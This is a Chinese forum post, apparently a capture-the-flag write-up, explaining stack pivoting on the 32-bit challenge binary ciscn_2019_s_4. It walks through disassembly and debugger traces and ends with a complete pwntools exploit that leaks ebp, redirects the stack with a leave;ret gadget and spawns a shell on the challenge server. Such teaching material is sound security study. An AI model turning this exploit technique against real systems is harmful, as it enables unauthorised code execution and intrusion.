首页
论坛
课程
招聘
[原创]完全搞懂栈迁移
2021-8-8 23:36 11523

[原创]完全搞懂栈迁移

2021-8-8 23:36
11523

这篇文章详细来介绍下栈迁移,网上的很多贴子写的不够详细或者说完全是错的,还有好多是直接copy的其他作者的博客....
作者也是新手,大佬请绕路QAQ

 

题目是buu平上的ciscn_2019_s_4

 

先看下保护:

1
2
3
4
5
6
7
8
gwt@ubuntu:~/Desktop$ checksec ciscn_s_4
[*] '/home/gwt/Desktop/ciscn_s_4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
gwt@ubuntu:~/Desktop$

主要程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}
int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF
 
  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}
//还有个后门函数
int hack()
{
  return system("echo flag");
}

这题输入的定长只有0x30,只能溢出8字节,所以不能ret2libc。

 

vuln是以leave ret结尾的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:08048595
.text:08048595 ; __unwind {
.text:08048595                 push    ebp
.text:08048596                 mov     ebp, esp
.text:08048598                 sub     esp, 28h
.text:0804859B                 sub     esp, 4
.text:0804859E                 push    20h ; ' '       ; n
.text:080485A0                 push    0               ; c
.text:080485A2                 lea     eax, [ebp+s]
.text:080485A5                 push    eax             ; s
.text:080485A6                 call    _memset
.text:080485AB                 add     esp, 10h
.text:080485AE                 sub     esp, 4
.text:080485B1                 push    30h ; '0'       ; nbytes
.text:080485B3                 lea     eax, [ebp+s]
.text:080485B6                 push    eax             ; buf
.text:080485B7                 push    0               ; fd
.text:080485B9                 call    _read
.text:080485BE                 add     esp, 10h
.text:080485C1                 sub     esp, 8
.text:080485C4                 lea     eax, [ebp+s]
.text:080485C7                 push    eax
.text:080485C8                 push    offset format   ; "Hello, %s\n"
.text:080485CD                 call    _printf
.text:080485D2                 add     esp, 10h
.text:080485D5                 sub     esp, 4
.text:080485D8                 push    30h ; '0'       ; nbytes
.text:080485DA                 lea     eax, [ebp+s]
.text:080485DD                 push    eax             ; buf
.text:080485DE                 push    0               ; fd
.text:080485E0                 call    _read
.text:080485E5                 add     esp, 10h
.text:080485E8                 sub     esp, 8
.text:080485EB                 lea     eax, [ebp+s]
.text:080485EE                 push    eax
.text:080485EF                 push    offset format   ; "Hello, %s\n"
.text:080485F4                 call    _printf
.text:080485F9                 add     esp, 10h
.text:080485FC                 nop
.text:080485FD                 leave
.text:080485FE                 retn
.text:080485FE ; } // starts at 8048595
.text:080485FE vul             endp

可以进行栈迁移。
leave其实就是以下的组合:

mov esp,ebp;
pop ebp ;

 

ret其实就是pop eip

 

输入0x20个a查看栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> stack 30
00:0000│ esp  0xffffd048 —▸ 0xffffd098 —▸ 0xffffd0a8 ◂— 0x0
01:0004│      0xffffd04c ◂— 0x30 /* '0' */
02:0008│      0xffffd050 —▸ 0xffffd070 ◂— 0x61616161 ('aaaa')
03:000c│      0xffffd054 —▸ 0xf7ed9c43 (__read_nocancel+25) ◂— pop    ebx
04:0010│      0xffffd058 ◂— 0x0
05:0014│      0xffffd05c —▸ 0x80485e5 (vul+80) ◂— add    esp, 0x10
06:0018│      0xffffd060 ◂— 0x0
07:001c│      0xffffd064 —▸ 0xffffd070 ◂— 0x61616161 ('aaaa')
08:0020│      0xffffd068 ◂— 0x30 /* '0' */
09:0024│      0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028│ ecx  0xffffd070 ◂— 0x61616161 ('aaaa')
... ↓
12:0048│      0xffffd090 —▸ 0x80486d8 ◂— push   edi
13:004c│      0xffffd094 —▸ 0xffffd154 —▸ 0xffffd327 ◂— './ciscn_s_4'
14:0050│ ebp  0xffffd098 —▸ 0xffffd0a8 ◂— 0x0
15:0054│      0xffffd09c —▸ 0x804862a (main+43) ◂— mov    eax, 0
16:0058│      0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0
17:005c│      0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1

可以看到ebp的内容是0xffffd0a8,输入的buf的地址是0xffffd070,相差0x38.

1
2
3
4
5
payload = 'a'*(0x28)
io.send(payload)
io.recvuntil('a'*0x28)
ebp = u32(io.recv(4))
print hex(ebp)

第二次构造的payload是这样:

1
2
payload = p32(sys_addr) + 'aaaa' + p32(buf_add+12) + b"/bin/sh\x00"
payload += (0x28 - len(payload))* b'a' + p32(buf_add-4) + p32(leave)

前面的0x28是用来填充,buf_addr-4是覆写ebp的地址,leave覆写ret的地址。

 

所有的流程如下:

 

 

具体的调试情况如下:

 

执行源程序中的leave前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
EAX  0x8
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xffffd098 —▸ 0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
 ESP  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]
 EIP  0x80485fd (vul+104) ◂— leave 
──────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
   0x80485ee <vul+89>                     push   eax
   0x80485ef <vul+90>                     push   0x80486ca
   0x80485f4 <vul+95>                     call   printf@plt <0x80483e0>
 
   0x80485f9 <vul+100>                    add    esp, 0x10
   0x80485fc <vul+103>                    nop   
 0x80485fd <vul+104>                    leave 
   0x80485fe <vul+105>                    ret   
    
   0x80484b8 <deregister_tm_clones+40>    leave 
   0x80484b9 <deregister_tm_clones+41>    ret   
    
   0x8048400 <system@plt>                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] <0x804a018>
 
   0x8048406 <system@plt+6>               push   0x18
───────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]
01:0004│      0xffffd074 ◂— 0x61616161 ('aaaa')
02:0008│      0xffffd078 —▸ 0xffffd07c ◂— '/bin/sh'
03:000c│      0xffffd07c ◂— '/bin/sh'
04:0010│      0xffffd080 ◂— 0x68732f /* '/sh' */
05:0014│      0xffffd084 ◂— 0x61616161 ('aaaa')

执行源程序中的leave后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
EAX  0x8
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
 ESP  0xffffd09c —▸ 0x80484b8 (deregister_tm_clones+40) ◂— leave 
 EIP  0x80485fe (vul+105) ◂— ret   
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x80485ef <vul+90>                     push   0x80486ca
   0x80485f4 <vul+95>                     call   printf@plt <0x80483e0>
 
   0x80485f9 <vul+100>                    add    esp, 0x10
   0x80485fc <vul+103>                    nop   
   0x80485fd <vul+104>                    leave 
 0x80485fe <vul+105>                    ret             <0x80484b8; deregister_tm_clones+40>
    
   0x80484b8 <deregister_tm_clones+40>    leave 
   0x80484b9 <deregister_tm_clones+41>    ret   
    
   0x8048400 <system@plt>                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] <0x804a018>
 
   0x8048406 <system@plt+6>               push   0x18
   0x804840b <system@plt+11>              jmp    0x80483c0
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp  0xffffd09c —▸ 0x80484b8 (deregister_tm_clones+40) ◂— leave 
01:0004│      0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0
02:0008│      0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1
03:000c│      0xffffd0a8 ◂— 0x0
04:0010│      0xffffd0ac —▸ 0xf7e1c647 (__libc_start_main+247) ◂— add    esp, 0x10
05:0014│      0xffffd0b0 —▸ 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
... ↓
07:001c│      0xffffd0b8 ◂— 0x0

执行完源程序中的ret后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
EAX  0x8
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
 ESP  0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0
 EIP  0x80484b8 (deregister_tm_clones+40) ◂— leave 
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x80485f4 <vul+95>                     call   printf@plt <0x80483e0>
 
   0x80485f9 <vul+100>                    add    esp, 0x10
   0x80485fc <vul+103>                    nop   
   0x80485fd <vul+104>                    leave 
   0x80485fe <vul+105>                    ret   
    
 0x80484b8 <deregister_tm_clones+40>    leave 
   0x80484b9 <deregister_tm_clones+41>    ret   
    
   0x8048400 <system@plt>                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] <0x804a018>
 
   0x8048406 <system@plt+6>               push   0x18
   0x804840b <system@plt+11>              jmp    0x80483c0
    
   0x80483c0                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp  0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0
01:0004│      0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1
02:0008│      0xffffd0a8 ◂— 0x0
03:000c│      0xffffd0ac —▸ 0xf7e1c647 (__libc_start_main+247) ◂— add    esp, 0x10
04:0010│      0xffffd0b0 —▸ 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
... ↓
06:0018│      0xffffd0b8 ◂— 0x0
07:001c│      0xffffd0bc —▸ 0xf7e1c647 (__libc_start_main+247) ◂— add    esp, 0x10

执行完构造payload中的leave后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
EAX  0x8
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
 ESP  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]
 EIP  0x80484b9 (deregister_tm_clones+41) ◂— ret   
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x80485f9 <vul+100>                    add    esp, 0x10
   0x80485fc <vul+103>                    nop   
   0x80485fd <vul+104>                    leave 
   0x80485fe <vul+105>                    ret   
    
   0x80484b8 <deregister_tm_clones+40>    leave 
 0x80484b9 <deregister_tm_clones+41>    ret             <0x8048400; system@plt>
    
   0x8048400 <system@plt>                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] <0x804a018>
 
   0x8048406 <system@plt+6>               push   0x18
   0x804840b <system@plt+11>              jmp    0x80483c0
    
   0x80483c0                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x80483c6                              jmp    dword ptr [0x804a008] <0xf7fee000>
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]
01:0004│      0xffffd074 ◂— 0x61616161 ('aaaa')
02:0008│      0xffffd078 —▸ 0xffffd07c ◂— '/bin/sh'
03:000c│      0xffffd07c ◂— '/bin/sh'
04:0010│      0xffffd080 ◂— 0x68732f /* '/sh' */
05:0014│      0xffffd084 ◂— 0x61616161 ('aaaa')

执行完构造payload中的ret后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
EAX  0x8
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
 ESP  0xffffd074 ◂— 0x61616161 ('aaaa')
 EIP  0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]
─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
   0x80485fc  <vul+103>                    nop   
   0x80485fd  <vul+104>                    leave 
   0x80485fe  <vul+105>                    ret   
    
   0x80484b8  <deregister_tm_clones+40>    leave 
   0x80484b9  <deregister_tm_clones+41>    ret   
    
 0x8048400  <system@plt>                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] <0x804a018>
 
   0x8048406  <system@plt+6>               push   0x18
   0x804840b  <system@plt+11>              jmp    0x80483c0
    
   0x80483c0                               push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x80483c6                               jmp    dword ptr [0x804a008] <0xf7fee000>
    
   0xf7fee000 <_dl_runtime_resolve>        push   eax
──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp  0xffffd074 ◂— 0x61616161 ('aaaa')
01:0004│      0xffffd078 —▸ 0xffffd07c ◂— '/bin/sh'
02:0008│      0xffffd07c ◂— '/bin/sh'
03:000c│      0xffffd080 ◂— 0x68732f /* '/sh' */
04:0010│      0xffffd084 ◂— 0x61616161 ('aaaa')

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level='debug'
io = remote("node4.buuoj.cn",27655)
# io = process("./ciscn_s_4")
elf = ELF("./ciscn_s_4")
sys_addr = elf.sym['system']
leave=0x080484b8
 
io.recv()
payload = 'a'*(0x28)
io.send(payload)
io.recvuntil('a'*0x28)
# gdb.attach(io)
ebp = u32(io.recv(4))
buf_add = ebp - 0x38
print hex(ebp)
 
payload = p32(sys_addr) + 'aaaa' + p32(buf_add+12) + b"/bin/sh\x00"
payload += (0x28 - len(payload))* b'a' + p32(buf_add-4) + p32(leave)
 
#payload = 'aaaa'+p32(sys_addr) + 'aaaa' + p32(buf_add+16) + b"/bin/sh\x00"
#payload += (0x28 - len(payload))* b'a' + p32(buf_add) + p32(leave)
#两个payload都可以,意思都一样
io.send(payload)
io.interactive()

[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2021-8-8 23:44 被郁涛丶编辑 ,原因: 修改
收藏
点赞3
打赏
分享
最新回复 (2)
雪    币: 5435
活跃值: 活跃值 (894)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
TopC 活跃值 2021-8-9 10:52
3
0
感谢分享
游客
登录 | 注册 方可回帖
返回